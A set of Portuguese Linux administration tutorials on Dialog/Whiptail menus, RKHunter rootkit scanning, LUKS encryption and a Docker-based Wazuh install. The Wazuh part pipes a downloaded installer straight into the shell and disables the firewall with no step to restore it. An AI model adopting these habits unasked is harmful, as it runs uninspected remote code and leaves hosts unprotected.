Tanto o Dialog como o Whiptail são ferramentas que permitem criar interfaces gráficas simples e funcionais dentro de um terminal de texto. Estas ferramentas são muito úteis para desenvolver menus, caixas de diálogo, listas de seleção, barras de progresso e muito mais. Ao longo deste artigo, iremos guiá-lo pelos conceitos básicos e exemplos práticos de ambas as ferramentas para que possa utilizá-las nos seus próprios scripts.

O que é o Dialog?

O Dialog é uma ferramenta de linha de comandos utilizada para gerar caixas de diálogo interativas em terminais baseados em texto. É amplamente utilizada em scripts de shell para criar menus interativos, caixas de confirmação, formulários, barras de progresso, entre outros. O Dialog permite aos utilizadores interagir com um script através de uma interface de utilizador baseada em texto, o que é especialmente útil em ambientes de servidores onde não se dispõe de uma interface gráfica completa.

Instalação do Dialog

Para instalar o Dialog numa distribuição baseada em Debian ou Ubuntu, simplesmente execute o seguinte comando:

sudo apt-get update
sudo apt-get install dialog

Para distribuições baseadas em Red Hat como CentOS ou Fedora:

sudo yum install dialog

Exemplos básicos de Dialog

Caixa de mensagem simples

Este exemplo mostra uma caixa de mensagem simples que tem apenas um botão “OK”:

#!/bin/bash
dialog --title "Mensagem" --msgbox "Olá, esta é uma caixa de mensagem simples." 6 50

Explicação: Neste script, –title define o título da caixa de diálogo, –msgbox é o tipo de diálogo utilizado, e “6 50” são as dimensões da caixa (6 linhas de altura e 50 caracteres de largura).

Menu interativo

O exemplo seguinte cria um menu onde o utilizador pode selecionar uma opção:

#!/bin/bash
opcao=$(dialog --title "Menu Principal" --menu "Selecione uma opção:" 15 50 4
1 "Opção 1"
2 "Opção 2"
3 "Opção 3"
4 "Sair" 3>&1 1>&2 2>&3)
clear

echo "Selecionou a opção: $opcao"

Explicação: O menu é mostrado com opções numeradas. 3>&1 1>&2 2>&3 é utilizado para redirecionar a seleção do utilizador de volta para a saída padrão.

Lista de seleção

Neste exemplo, o utilizador pode selecionar um ou mais itens de uma lista:

#!/bin/bash
opcoes=$(dialog --title "Seleção de Pacotes" --checklist "Selecione os pacotes que deseja instalar:" 15 50 5
1 "Apache" off
2 "MySQL" off
3 "PHP" off
4 "Python" off
5 "Java" off 3>&1 1>&2 2>&3)
clear

echo "Pacotes selecionados: $opcoes"

Explicação: –checklist cria uma lista de itens com caixas de verificação, onde off indica que a caixa está desmarcada por defeito.

Barra de progresso

As barras de progresso são úteis para mostrar o avanço de uma tarefa. Aqui tens um exemplo:

#!/bin/bash
{
for ((i = 0 ; i <= 100 ; i+=10)); do
sleep 1
echo $i
done
} | dialog --title "Progresso" --gauge "A instalar..." 10 70 0

Explicação: –gauge é utilizado para criar uma barra de progresso. O ciclo for simula o avanço de uma tarefa, incrementando a barra em 10% a cada segundo.

O que é o Whiptail?

O Whiptail é uma alternativa leve ao Dialog que também permite criar interfaces interativas baseadas em texto em scripts de shell. Embora o Whiptail ofereça um conjunto semelhante de funcionalidades, é especialmente útil em sistemas onde o Dialog não está disponível ou onde se prefere uma ferramenta mais leve.

Instalação do Whiptail

Para instalar o Whiptail no Debian, Ubuntu e seus derivados:

sudo apt-get update
sudo apt-get install whiptail

Em distribuições como CentOS, Red Hat e Fedora:

sudo yum install newt

Exemplos básicos de Whiptail

Caixa de mensagem simples

Tal como com o Dialog, podes criar uma caixa de mensagem simples:

#!/bin/bash
whiptail --title "Mensagem" --msgbox "Esta é uma mensagem simples usando Whiptail." 8 45

Explicação: Este exemplo é semelhante ao do Dialog, mas utilizando o Whiptail. As dimensões da caixa são ligeiramente diferentes.

Menu interativo

Criar menus interativos é simples com o Whiptail:

#!/bin/bash
opcao=$(whiptail --title "Menu Principal" --menu "Escolha uma opção:" 15 50 4 \
"1" "Opção 1" \
"2" "Opção 2" \
"3" "Opção 3" \
"4" "Sair" 3>&1 1>&2 2>&3)
clear

echo "Selecionou a opção: $opcao"

Explicação: Este script funciona de maneira semelhante ao exemplo do Dialog, permitindo que o utilizador selecione uma opção de um menu.

Lista de seleção

O Whiptail também permite criar listas de seleção com caixas de verificação:

#!/bin/bash
opcoes=$(whiptail --title "Seleção de Pacotes" --checklist "Selecione os pacotes que deseja instalar:" 15 50 5 \
"Apache" "" ON \
"MySQL" "" OFF \
"PHP" "" OFF \
"Python" "" OFF \
"Java" "" OFF 3>&1 1>&2 2>&3)
clear

echo "Pacotes selecionados: $opcoes"

Explicação: Neste exemplo, “ON” indica que a caixa de verificação está marcada por defeito, ao contrário do “off” do Dialog.

Barra de progresso

Finalmente, aqui tens um exemplo de uma barra de progresso com o Whiptail:

#!/bin/bash
{
    for ((i = 0 ; i <= 100 ; i+=10)); do
        sleep 1
        echo $i
    done
} | whiptail --gauge "A instalar..." 6 50 0

Explicação: Este exemplo é muito semelhante ao do Dialog, mas utilizando a sintaxe do Whiptail.
Tanto o Dialog como o Whiptail são ferramentas poderosas e flexíveis que permitem aos administradores de sistemas e desenvolvedores criar interfaces de utilizador interativas dentro de um terminal. Embora ambas as ferramentas sejam semelhantes em termos de funcionalidade, a escolha entre uma ou outra pode depender das necessidades específicas do sistema e das preferências pessoais.

O Dialog é mais popular e amplamente documentado, enquanto o Whiptail é uma alternativa mais leve que pode ser preferida em sistemas onde a minimização do uso de recursos é crucial.

Neste artigo, cobrimos os conceitos básicos do Dialog e do Whiptail com exemplos práticos que lhe permitirão começar a criar os seus próprios scripts interativos. Quer precise de um menu simples, uma caixa de mensagem ou uma barra de progresso, estas ferramentas fornecer-lhe-ão as funcionalidades necessárias para melhorar a interação dos utilizadores com os seus scripts.

Lembre-se de que a chave para dominar estas ferramentas é a prática. Experimente os exemplos fornecidos, modifique-os para se adaptarem às suas necessidades e continue a explorar as múltiplas possibilidades que o Dialog e o Whiptail oferecem para tornar os seus scripts mais intuitivos e fáceis de usar.

Vídeo

Script do vídeo

A seguir, coloco dois scripts de exemplo de dois menus interativos:
Dialog

#!/bin/bash

# Exemplo de menu usando o Dialog
dialog --menu "Selecione uma opção:" 15 50 4 \
1 "Ver informações do sistema" \
2 "Mostrar uso do disco" \
3 "Configurar rede" \
4 "Sair" 2>selecao.txt

# Ler a opção selecionada
opcao=$(cat selecao.txt)

case $opcao in
    1)
        echo "Mostrando informações do sistema..."
        # Os comandos correspondentes iriam aqui
        ;;
    2)
        echo "Mostrando uso do disco..."
        # Os comandos correspondentes iriam aqui
        ;;
    3)
        echo "Configurando a rede..."
        # Os comandos correspondentes iriam aqui
        ;;
    4)
        echo "Saindo..."
        exit 0
        ;;
    *)
        echo "Opção inválida."
        ;;
esac

O resultado seria:

Whiptail

#!/bin/bash

# Exemplo de menu usando o Whiptail
opcao=$(whiptail --title "Menu Principal" --menu "Selecione uma opção:" 15 50 4 \
"1" "Ver informações do sistema" \
"2" "Mostrar uso do disco" \
"3" "Configurar rede" \
"4" "Sair" 3>&1 1>&2 2>&3)

# Verificar a opção selecionada
case $opcao in
    1)
        echo "Mostrando informações do sistema..."
        # Os comandos correspondentes iriam aqui
        ;;
    2)
        echo "Mostrando uso do disco..."
        # Os comandos correspondentes iriam aqui
        ;;
    3)
        echo "Configurando a rede..."
        # Os comandos correspondentes iriam aqui
        ;;
    4)
        echo "Saindo..."
        exit 0
        ;;
    *)
        echo "Opção inválida."
        ;;
esac

Com o Whiptail, o resultado seria este:

Como se pode ver, os resultados são muito parecidos.

Referências e documentação

Para o Dialog e o Whiptail, podemos encontrar uma ampla documentação em https://invisible-island.net/dialog/dialog.html

La entrada Criando Scripts Interativos no Linux: Usando Dialog ou Whiptail se publicó primero en Aprende IT.

Instalação do RKHunter

Passo 1: Atualizar os Repositórios

Antes de instalar qualquer pacote novo, é sempre uma boa prática certificar-se de que os repositórios do sistema estão atualizados. Isso pode ser feito com o comando apt update.

apt update

Passo 2: Instalar o RKHunter

Uma vez que os repositórios estejam atualizados, podemos prosseguir para instalar o RKHunter juntamente com as ferramentas básicas do sistema (coreutils).

apt install coreutils rkhunter -y

Passo 3: Descarregar os Repositórios da Base de Dados do RKHunter

Para que o RKHunter funcione corretamente, precisamos descarregar os dados necessários. Isso pode ser feito com o comando curl.

curl https://rkhunter.sourceforge.net/1.4/mirrors.dat > /var/lib/rkhunter/db/mirrors.dat

Configuração do RKHunter

Problema Comum: Impossibilidade de Atualização

Se tentarmos atualizar o RKHunter imediatamente após a instalação, é provável que encontremos um erro semelhante ao seguinte:

root@host# rkhunter --update
[ Rootkit Hunter version 1.4.6 ]

Checking rkhunter data files...
  Checking file mirrors.dat                                  [ Skipped ]
  Checking file programs_bad.dat                             [ Update failed ]
  Checking file backdoorports.dat                            [ Update failed ]
  Checking file suspscan.dat                                 [ Update failed ]
  Checking file i18n versions                                [ Update failed ]

Please check the log file (/var/log/rkhunter.log)

Solução: Editar o Ficheiro de Configuração

Para resolver este problema, precisamos editar o ficheiro de configuração do RKHunter (/etc/rkhunter.conf). Usaremos vi ou qualquer outro editor de texto que preferirmos.

vi /etc/rkhunter.conf

Dentro do ficheiro, modificamos os seguintes parâmetros:

PKGMGR=DPKG
WEB_CMD=wget
UPDATE_MIRRORS=1
MIRRORS_MODE=0

Atualização do RKHunter

Após realizar estas alterações, podemos tentar atualizar o RKHunter novamente.

rkhunter --update

Se tudo correr bem, deveremos ver uma mensagem indicando que os ficheiros foram atualizados com sucesso.

Verificação da Versão

Podemos verificar que estamos a utilizar a versão mais recente do RKHunter com o seguinte comando:

rkhunter --versioncheck

Realização de uma Varredura do Sistema

Uma vez que o RKHunter esteja configurado e atualizado, podemos proceder a realizar uma varredura completa do sistema.

rkhunter --check

Exemplo de Saída de uma Varredura
Durante a varredura, o RKHunter verificará vários aspetos do sistema, incluindo comandos do sistema, bibliotecas partilhadas e ficheiros suspeitos. Aqui está um exemplo do que poderemos ver:

[ Rootkit Hunter version 1.4.6 ]

Checking system commands...

  Performing 'strings' command checks
    Checking 'strings' command                               [ OK ]

  Performing 'shared libraries' checks
    Checking for preloading variables                        [ None found ]
    Checking for preloaded libraries                         [ None found ]
    Checking LD_LIBRARY_PATH variable                        [ Not found ]

  Performing file properties checks
    Checking for prerequisites                               [ OK ]
    /usr/sbin/adduser                                        [ OK ]
    /usr/sbin/chroot                                         [ OK ]
    /usr/sbin/cron                                           [ OK ]
    /usr/sbin/depmod                                         [ OK ]
    /usr/sbin/fsck                                           [ OK ]
    /usr/sbin/groupadd                                       [ OK ]
    /usr/sbin/groupdel                                       [ OK ]
    /usr/sbin/groupmod                                       [ OK ]
    /usr/sbin/grpck                                          [ OK ]
    /usr/sbin/ifconfig                                       [ OK ]
    /usr/sbin/init                                           [ OK ]
    /usr/sbin/insmod                                         [ OK ]
    /usr/sbin/ip                                             [ OK ]
    /usr/sbin/lsmod                                          [ OK ]
    /usr/sbin/modinfo                                        [ OK ]
    /usr/sbin/modprobe                                       [ OK ]
    /usr/sbin/nologin                                        [ OK ]
    /usr/sbin/pwck                                           [ OK ]
    /usr/sbin/rmmod                                          [ OK ]
    /usr/sbin/route                                          [ OK ]
    /usr/sbin/rsyslogd                                       [ OK ]
    /usr/sbin/runlevel                                       [ OK ]
    /usr/sbin/sshd                                           [ OK ]
    /usr/sbin/sulogin                                        [ OK ]
    /usr/sbin/sysctl                                         [ OK ]
    /usr/sbin/useradd                                        [ OK ]
    /usr/sbin/userdel                                        [ OK ]
    /usr/sbin/usermod                                        [ OK ]
    /usr/sbin/vipw                                           [ OK ]
    /usr/sbin/unhide                                         [ OK ]
    /usr/sbin/unhide-linux                                   [ OK ]
    /usr/sbin/unhide-posix                                   [ OK ]
    /usr/sbin/unhide-tcp                                     [ OK ]
    /usr/bin/awk                                             [ OK ]
    /usr/bin/basename                                        [ OK ]
    /usr/bin/bash                                            [ OK ]
    /usr/bin/cat                                             [ OK ]
    /usr/bin/chattr                                          [ OK ]
    /usr/bin/chmod                                           [ OK ]
    /usr/bin/chown                                           [ OK ]
    /usr/bin/cp                                              [ OK ]
    /usr/bin/curl                                            [ OK ]
    /usr/bin/cut                                             [ OK ]
    /usr/bin/date                                            [ OK ]
    /usr/bin/df                                              [ OK ]
    /usr/bin/diff                                            [ OK ]
    /usr/bin/dirname                                         [ OK ]
    /usr/bin/dmesg                                           [ OK ]
    /usr/bin/dpkg                                            [ OK ]
    /usr/bin/dpkg-query                                      [ OK ]
    /usr/bin/du                                              [ OK ]
    /usr/bin/echo                                            [ OK ]
    /usr/bin/ed                                              [ OK ]
    /usr/bin/egrep                                           [ OK ]
    /usr/bin/env                                             [ OK ]
    /usr/bin/fgrep                                           [ OK ]
    /usr/bin/file                                            [ OK ]
    /usr/bin/find                                            [ OK ]
    /usr/bin/fuser                                           [ OK ]
    /usr/bin/grep                                            [ OK ]
    /usr/bin/groups                                          [ OK ]
    /usr/bin/head                                            [ OK ]
    /usr/bin/id                                              [ OK ]
    /usr/bin/ip                                              [ OK ]
    /usr/bin/ipcs                                            [ OK ]
    /usr/bin/kill                                            [ OK ]
    /usr/bin/killall                                         [ OK ]
    /usr/bin/last                                            [ OK ]
    /usr/bin/lastlog                                         [ OK ]
    /usr/bin/ldd                                             [ OK ]
    /usr/bin/less                                            [ OK ]
    /usr/bin/logger                                          [ OK ]
    /usr/bin/login                                           [ OK ]
    /usr/bin/ls                                              [ OK ]
    /usr/bin/lsattr                                          [ OK ]
    /usr/bin/lsmod                                           [ OK ]
    /usr/bin/lsof                                            [ OK ]
    /usr/bin/mail                                            [ OK ]
    /usr/bin/md5sum                                          [ OK ]
    /usr/bin/mktemp                                          [ OK ]
    /usr/bin/more                                            [ OK ]
    /usr/bin/mount                                           [ OK ]
    /usr/bin/mv                                              [ OK ]
    /usr/bin/netstat                                         [ OK ]
    /usr/bin/newgrp                                          [ OK ]
    /usr/bin/passwd                                          [ OK ]
    /usr/bin/perl                                            [ OK ]
    /usr/bin/pgrep                                           [ OK ]
    /usr/bin/ping                                            [ OK ]
    /usr/bin/pkill                                           [ OK ]
    /usr/bin/ps                                              [ OK ]
    /usr/bin/pstree                                          [ OK ]
    /usr/bin/pwd                                             [ OK ]
    /usr/bin/readlink                                        [ OK ]
    /usr/bin/rkhunter                                        [ OK ]
    /usr/bin/runcon                                          [ OK ]
    /usr/bin/sed                                             [ OK ]
    /usr/bin/sh                                              [ OK ]
    /usr/bin/sha1sum                                         [ OK ]
    /usr/bin/sha224sum                                       [ OK ]
    /usr/bin/sha256sum                                       [ OK ]
    /usr/bin/sha384sum                                       [ OK ]
    /usr/bin/sha512sum                                       [ OK ]
    /usr/bin/size                                            [ OK ]
    /usr/bin/sort                                            [ OK ]
    /usr/bin/ssh                                             [ OK ]
    /usr/bin/stat                                            [ OK ]
    /usr/bin/strace                                          [ OK ]
    /usr/bin/strings                                         [ OK ]
    /usr/bin/su                                              [ OK ]
    /usr/bin/sudo                                            [ OK ]
    /usr/bin/tail                                            [ OK ]
    /usr/bin/telnet                                          [ OK ]
    /usr/bin/test                                            [ OK ]
    /usr/bin/top                                             [ OK ]
    /usr/bin/touch                                           [ OK ]
    /usr/bin/tr                                              [ OK ]
    /usr/bin/uname                                           [ OK ]
    /usr/bin/uniq                                            [ OK ]
    /usr/bin/users                                           [ OK ]
    /usr/bin/vmstat                                          [ OK ]
    /usr/bin/w                                               [ OK ]
    /usr/bin/watch                                           [ OK ]
    /usr/bin/wc                                              [ OK ]
    /usr/bin/wget                                            [ OK ]
    /usr/bin/whatis                                          [ OK ]
    /usr/bin/whereis                                         [ OK ]
    /usr/bin/which                                           [ OK ]
    /usr/bin/who                                             [ OK ]
    /usr/bin/whoami                                          [ OK ]
    /usr/bin/numfmt                                          [ OK ]
    /usr/bin/kmod                                            [ OK ]
    /usr/bin/systemd                                         [ OK ]
    /usr/bin/systemctl                                       [ OK ]
    /usr/bin/gawk                                            [ OK ]
    /usr/bin/bsd-mailx                                       [ OK ]
    /usr/bin/dash                                            [ OK ]
    /usr/bin/x86_64-linux-gnu-size                           [ OK ]
    /usr/bin/x86_64-linux-gnu-strings                        [ OK ]
    /usr/bin/telnet.netkit                                   [ OK ]
    /usr/bin/which.debianutils                               [ OK ]
    /usr/lib/systemd/systemd                                 [ OK ]

[Pressione  para continuar]

...

[Pressione  para continuar]

Resumo das verificações do sistema
==================================

Verificações de propriedades dos ficheiros...
    Ficheiros verificados: 142
    Ficheiros suspeitos: 0

Verificações de rootkits...
    Rootkits verificados: 498
    Rootkits possíveis: 0

Verificações de aplicações...
    Todas as verificações foram omitidas

As verificações do sistema demoraram: 4 minutos e 25 segundos

Todos os resultados foram escritos no ficheiro de log: /var/log/rkhunter.log

Foram encontrados um ou mais avisos durante a verificação do sistema.
Por favor, verifique o ficheiro de log (/var/log/rkhunter.log)

Automatização de Varreduras com Cron

Para garantir que o nosso sistema se mantenha seguro, é uma boa ideia programar varreduras automáticas. Podemos fazer isso editando o ficheiro /etc/crontab para adicionar os trabalhos necessários do cron. Não esqueça de modificar o email de destino para receber os alertas.

vi /etc/crontab

Adicione as seguintes linhas ao ficheiro:

0 3 * * * root /usr/bin/rkhunter --update >> /var/log/rkhunter_update.log 2>&1
0 2 * * * root /usr/bin/rkhunter --cronjob --update --report-warnings-only | mail -s "Varredura Diária do RKHunter" seu-email@example.com

Com isto, configuramos um trabalho cron que atualizará o RKHunter diariamente às 3 da manhã e realizará uma varredura diária às 2 da manhã, enviando um relatório por email apenas se forem encontrados avisos.

La entrada Como Proteger o Seu Sistema Linux: Guia Definitivo para Instalar e Usar o RKHunter se publicó primero en Aprende IT.

Instalação de Ferramentas Necessárias

Antes de mergulharmos no mundo da cifragem com LUKS, é essencial garantir que tens as ferramentas adequadas instaladas no teu sistema. Geralmente, a maioria das distribuições de Linux inclui estas ferramentas de cifragem por padrão, mas é sempre bom verificar.

Podes instalar as ferramentas necessárias utilizando o gestor de pacotes da tua distribuição. Em distribuições baseadas em Debian, como Ubuntu, podes executar o seguinte comando no terminal:

sudo apt install cryptsetup

Se estás a utilizar uma distribuição baseada em Red Hat, como Fedora ou CentOS, podes instalar as ferramentas de cifragem com o seguinte comando:

sudo dnf install cryptsetup

Uma vez que tenhas instalado o cryptsetup, estarás pronto para começar a trabalhar com LUKS.

Criação de um Volume LUKS

O primeiro passo para cifrar uma partição ou disco em Linux é criar um volume LUKS. Este volume atuará como uma camada de cifragem que protegerá os dados armazenados na partição ou disco.

Para criar um volume LUKS, precisarás especificar a partição ou disco que desejas cifrar. Certifica-te de que a partição está desmontada antes de prosseguir. Suponhamos que queremos cifrar a partição /dev/sdb1. O seguinte comando criará um volume LUKS nesta partição:

sudo cryptsetup luksFormat /dev/sdb1

Este comando iniciará o processo de criação do volume LUKS na partição especificada. Serás solicitado a confirmar esta ação, pois o processo apagará todos os dados existentes na partição. Após confirmar, serás solicitado a introduzir uma senha para desbloquear o volume LUKS no futuro. Certifica-te de escolher uma senha segura e recorda-a bem, pois precisarás dela sempre que quiseres aceder aos dados cifrados.

Uma vez concluído o processo, terás um volume LUKS criado na partição especificada, pronto para ser utilizado.

Abertura e Fecho do Volume LUKS

Depois de criar um volume LUKS, o próximo passo é abri-lo para poder aceder aos dados armazenados nele. Para abrir um volume LUKS, precisarás especificar a partição que contém o volume e atribuir-lhe um nome.

sudo cryptsetup luksOpen /dev/sdb1 minha_particao_cifrada

Neste comando, /dev/sdb1 é a partição que contém o volume LUKS, e minha_particao_cifrada é o nome que estamos a atribuir ao volume aberto. Uma vez que executes este comando, serás solicitado a introduzir a senha que especificaste durante a criação do volume LUKS. Após introduzir a senha correta, o volume será aberto e estará pronto para ser utilizado.

Para fechar o volume LUKS e bloquear o acesso aos dados cifrados, podes utilizar o seguinte comando:

sudo cryptsetup luksClose minha_particao_cifrada

Este comando fechará o volume LUKS com o nome especificado (minha_particao_cifrada neste caso), o que impedirá o acesso aos dados armazenados nele até que seja aberto novamente.

Criação de um Sistema de Ficheiros num Volume LUKS

Uma vez que tenhas aberto um volume LUKS, podes criar um sistema de ficheiros nele para começar a armazenar dados de forma segura. Podes utilizar qualquer sistema de ficheiros compatível com Linux, como xfs ou btrfs.

Suponhamos que queremos criar um sistema de ficheiros xfs no volume LUKS aberto (minha_particao_cifrada). O seguinte comando criará um sistema de ficheiros xfs no volume:

sudo mkfs.xfs /dev/mapper/minha_particao_cifrada

Este comando formatará o volume LUKS aberto com um sistema de ficheiros xfs, o que te permitirá começar a armazenar dados nele de forma segura.

Montagem e Desmontagem de um Volume LUKS

Uma vez que tenhas criado um sistema de ficheiros num volume LUKS, podes montá-lo no sistema de ficheiros para aceder aos dados armazenados nele. Para montar um volume LUKS, podes utilizar o seguinte comando:

sudo mount /dev/mapper/minha_particao_cifrada /mnt

Neste comando, /dev/mapper/minha_particao_cifrada é o caminho para o dispositivo de bloco que representa o volume LUKS aberto, e /mnt é o ponto de montagem onde o sistema de ficheiros será montado.

Depois de montar o volume LUKS, podes aceder aos dados armazenados nele como farias com qualquer outro sistema de ficheiros montado em Linux. Quando terminares de trabalhar com os dados, podes desmontar o volume LUKS utilizando o seguinte comando:

sudo umount /mnt

Este comando desmontará o sistema de ficheiros do volume LUKS, o que evitará que acedas aos dados armazenados nele até que seja montado novamente.

Gestão de Volumes LUKS

O LUKS fornece várias ferramentas para gerir volumes, incluindo a capacidade de mudar a senha, adicionar chaves adicionais e fazer backups dos cabeçalhos dos volumes.

Para mudar a senha de um volume LUKS, podes utilizar o seguinte comando:

sudo cryptsetup luksChangeKey /dev/sdb1

Este comando pedirá a senha atual do volume LUKS e depois permitirá introduzir uma nova senha.

Se desejas adicionar uma chave adicional ao volume LUKS, podes utilizar o seguinte comando:

sudo cryptsetup luksAddKey /dev/sdb1

Este comando pedirá a senha atual do volume LUKS e depois permitirá introduzir uma nova chave adicional.

Para fazer um backup do cabeçalho de um volume LUKS, podes utilizar o seguinte comando:

sudo cryptsetup luksHeaderBackup /dev/sdb1 --header-backup-file backup_file

Este comando fará um backup do cabeçalho do volume LUKS para o ficheiro especificado, permitindo restaurá-lo caso o cabeçalho do volume se danifique.

Resumo de Comandos para Criar Volume Cifrado com LUKS

sudo cryptsetup luksFormat /dev/DISCO
sudo cryptsetup luksOpen /dev/DISCO DISCO_DESCIFRADO
sudo mkfs.xfs /dev/mapper/DISCO_DESCIFRADO
sudo mount /dev/mapper/DISCO_DESCIFRADO /caminho_de_montagem

Integração com crypttab e fstab

Uma vez que tenhas cifrado uma partição ou disco utilizando LUKS em Linux, podes querer configurar a abertura automática do contêiner LUKS durante o arranque do sistema e montá-lo num ponto específico do sistema de ficheiros. Isto pode ser conseguido utilizando os ficheiros de configuração crypttab e fstab.

Configuração de crypttab

O ficheiro crypttab é utilizado para configurar o mapeamento automático de dispositivos cifrados durante o processo de arranque do sistema. Podes especificar os dispositivos cifrados e as suas correspondentes chaves de cifragem neste ficheiro.

Para configurar um dispositivo cifrado no crypttab, primeiro precisas conhecer o UUID (Identificador Único Universal) do contêiner LUKS. Podes encontrar o UUID executando o seguinte comando:

sudo cryptsetup luksUUID /dev/sdb1

Uma vez que tenhas o UUID do contêiner LUKS, podes adicionar uma entrada no ficheiro crypttab para configurar o mapeamento automático. Por exemplo, suponhamos que o UUID do contêiner LUKS é 12345678-1234-1234-1234-123456789abc. Podes adicionar a seguinte entrada no ficheiro crypttab:

minha_particao_cifrada UUID=12345678-1234-1234-1234-123456789abc none luks

Também pode ser feito desta forma sem usar o UUID:

minha_particao_cifrada /dev/sdb1 none luks

Nesta entrada, minha_particao_cifrada é o nome que demos ao contêiner LUKS, e UUID=12345678-1234-1234-1234-123456789abc é o UUID do contêiner. A palavra none indica que não é utilizada uma chave pré-compartilhada, e luks especifica que o dispositivo está cifrado com LUKS.

Configuração de fstab

Uma vez que tenhas configurado o mapeamento automático do dispositivo cifrado no crypttab, podes configurar a montagem automática do sistema de ficheiros no fstab. O ficheiro fstab é utilizado para configurar a montagem automática de sistemas de ficheiros durante o arranque do sistema.

Para configurar a montagem automática de um sistema de ficheiros no fstab, primeiro precisas conhecer o ponto de montagem e o tipo de sistema de ficheiros do contêiner LUKS. Suponhamos que o ponto de montagem é /mnt/minha_particao e o sistema de ficheiros é xfs. Podes adicionar uma entrada no ficheiro fstab da seguinte maneira:

/dev/mapper/minha_particao_cifrada /mnt/minha_particao xfs defaults 0 2

Nesta entrada, /dev/mapper/minha_particao_cifrada é o caminho para o dispositivo de bloco que representa o contêiner LUKS aberto, /mnt/minha_particao é o ponto de montagem onde o sistema de ficheiros será montado, xfs é o tipo de sistema de ficheiros, defaults especifica as opções de montagem por defeito, e 0 2 especifica as opções de verificação do sistema de ficheiros.

Recomendações com crypttab

No caso de um servidor, eu não teria o crypttab ativo, ou seja, deixaria a configuração posta mas comentada, tal como com o fstab. Faria as montagens de forma manual após um reinício. Assim evitamos ter de usar ficheiros de chave e prevenir alguns problemas derivados.

La entrada Cifragem de Partições e Discos com LUKS em Linux se publicó primero en Aprende IT.

O que é o Wazuh e Por Que Deve Usá-lo?

O Wazuh é uma plataforma de segurança de código aberto que fornece deteção de intrusões, monitorização de integridade, resposta a incidentes e auditoria de conformidade. A sua versatilidade torna-o ideal tanto para pequenas empresas quanto para grandes corporações. Além disso, sendo de código aberto, o Wazuh é completamente gratuito e permite modificações para atender a quaisquer necessidades específicas.

Preparações Iniciais Antes da Instalação

Antes de mergulhar na instalação do Wazuh, é crucial que prepare o seu sistema. Isso envolve garantir que o sistema operativo esteja atualizado e configurar o ambiente para suportar a instalação do Wazuh através do Docker. Eis como fazer isso:

Primeiro, é necessário desativar o firewall para impedir que interfira no processo de instalação. Para fazer isso, simplesmente execute no terminal:

ufw disable

Este comando desativará o firewall, garantindo que ele não bloqueie nenhuma das conexões necessárias durante a instalação.

Em seguida, deve garantir que todos os pacotes do sistema estejam atualizados e que o git esteja instalado, pois precisará dele para clonar o repositório do Wazuh. Execute:

apt update && apt install git

Com estes comandos, o seu sistema estará atualizado e pronto para a próxima fase.

Instalando o Docker

O Wazuh no Docker simplifica a gestão de dependências e garante que a plataforma possa funcionar de forma isolada e segura. Para instalar o Docker, pode usar o script fornecido pelo Docker, que configura tudo automaticamente:

curl -sSL https://get.docker.com/ | sh

Uma vez instalado o Docker, é essencial garantir que ele seja executado automaticamente na inicialização do sistema:

systemctl start docker
systemctl enable docker

Estes comandos iniciarão o serviço Docker e configurá-lo-ão para iniciar automaticamente a cada arranque do sistema.

Docker Compose

Se instalar o Docker conforme indicado anteriormente, não precisa instalar esta ferramenta, mas se já tem o Docker e ele não suporta “docker compose”, pode instalar o docker-compose assim:

curl -L "https://github.com/docker/compose/releases/download/v2.12.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose

Os comandos seguintes que têm “docker compose” devem ser executados como docker-compose.

Configurando o Ambiente Wazuh

Com o Docker já configurado, o próximo passo é preparar o ambiente específico para o Wazuh. Dirija-se ao diretório ótimo para manter organizados os ficheiros relacionados à segurança:

cd /opt

Agora, é hora de clonar a versão mais recente do repositório Wazuh para Docker:

git clone https://github.com/wazuh/wazuh-docker.git -b v4.7.3

Este comando baixa todos os ficheiros necessários para executar o Wazuh num contêiner Docker.

Gerando Certificados e Iniciando o Wazuh

Antes de iniciar o Wazuh, deve gerar os certificados necessários para o bom funcionamento dos componentes do Wazuh. Navegue até o diretório correto e execute o gerador de certificados:

cd wazuh-docker/single-node/
docker compose -f generate-indexer-certs.yml run --rm generator

Com os certificados gerados, agora está pronto para iniciar todos os serviços Wazuh:

docker compose up -d

Este último comando levanta todos os contêineres necessários para o Wazuh operar corretamente num modo de único nó, ideal para ambientes de teste ou implementações pequenas.

Verificação da Instalação

Uma vez concluídos todos os passos anteriores, é importante verificar que tudo está a funcionar conforme esperado. Pode verificar o estado dos contêineres Docker para garantir que todos os serviços Wazuh estão ativos e a funcionar. Além disso, aceda à interface web do Wazuh para começar a explorar as funcionalidades e configurações disponíveis.

Personalização e Monitorização

Com o seu servidor Wazuh agora operacional, o próximo passo é personalizar a configuração para adaptá-la às suas necessidades específicas. O Wazuh oferece uma grande variedade de opções para configurar regras, alertas e respostas automáticas a incidentes. Aproveite a documentação disponível para explorar todas as possibilidades que o Wazuh oferece.

Instalar e configurar o seu próprio servidor Wazuh pode parecer uma tarefa complexa, mas seguindo estes passos, terá um sistema robusto de segurança informática sem necessidade de grandes investimentos. Não só melhorará a segurança da sua informação, mas também lhe fornecerá uma ferramenta poderosa para monitorizar e responder proativamente a qualquer incidente.

Mudança de Senha do Wazuh

Pare o serviço usando o Docker Compose:

docker compose down

Gerar o hash da nova senha usando o contêiner Wazuh:

Execute o seguinte comando para iniciar o script de hash:

docker run --rm -ti wazuh/wazuh-indexer:4.6.0 bash /usr/share/wazuh-indexer/plugins/opensearch-security/tools/hash.sh

Digite a nova senha quando solicitado e copie o hash gerado.

Atualize o ficheiro de utilizadores internos com o hash da nova senha:

Abra o ficheiro com um editor de texto como o vim:

vim config/wazuh_indexer/internal_users.yml

Cole o hash gerado para o utilizador admin.

Atualize o ficheiro docker-compose.yml com a nova senha:

Abra o ficheiro docker-compose.yml:

vim docker-compose.yml

Digite a nova senha nas linhas 24 e 81 onde diz INDEXER_PASSWORD.

Levante os serviços novamente com o Docker Compose:

docker compose up -d

Isso reinicia a pilha de serviços.

Acesse o contêiner e execute o script de segurança:

Acesse o contêiner:

docker exec -it single-node-wazuh.indexer-1 bash

Defina as variáveis e execute o script de segurança:

export INSTALLATION_DIR=/usr/share/wazuh-indexer
CACERT=$INSTALLATION_DIR/certs/root-ca.pem
KEY=$INSTALLATION_DIR/certs/admin-key.pem
CERT=$INSTALLATION_DIR/certs/admin.pem
export JAVA_HOME=/usr/share/wazuh-indexer/jdk
bash /usr/share/wazuh-indexer/plugins/opensearch-security/tools/securityadmin.sh -cd /usr/share/wazuh-indexer/opensearch-security/ -nhnv -cacert $CACERT -cert $CERT -key $KEY -p 9200 -icl

Saia do contêiner:

exit

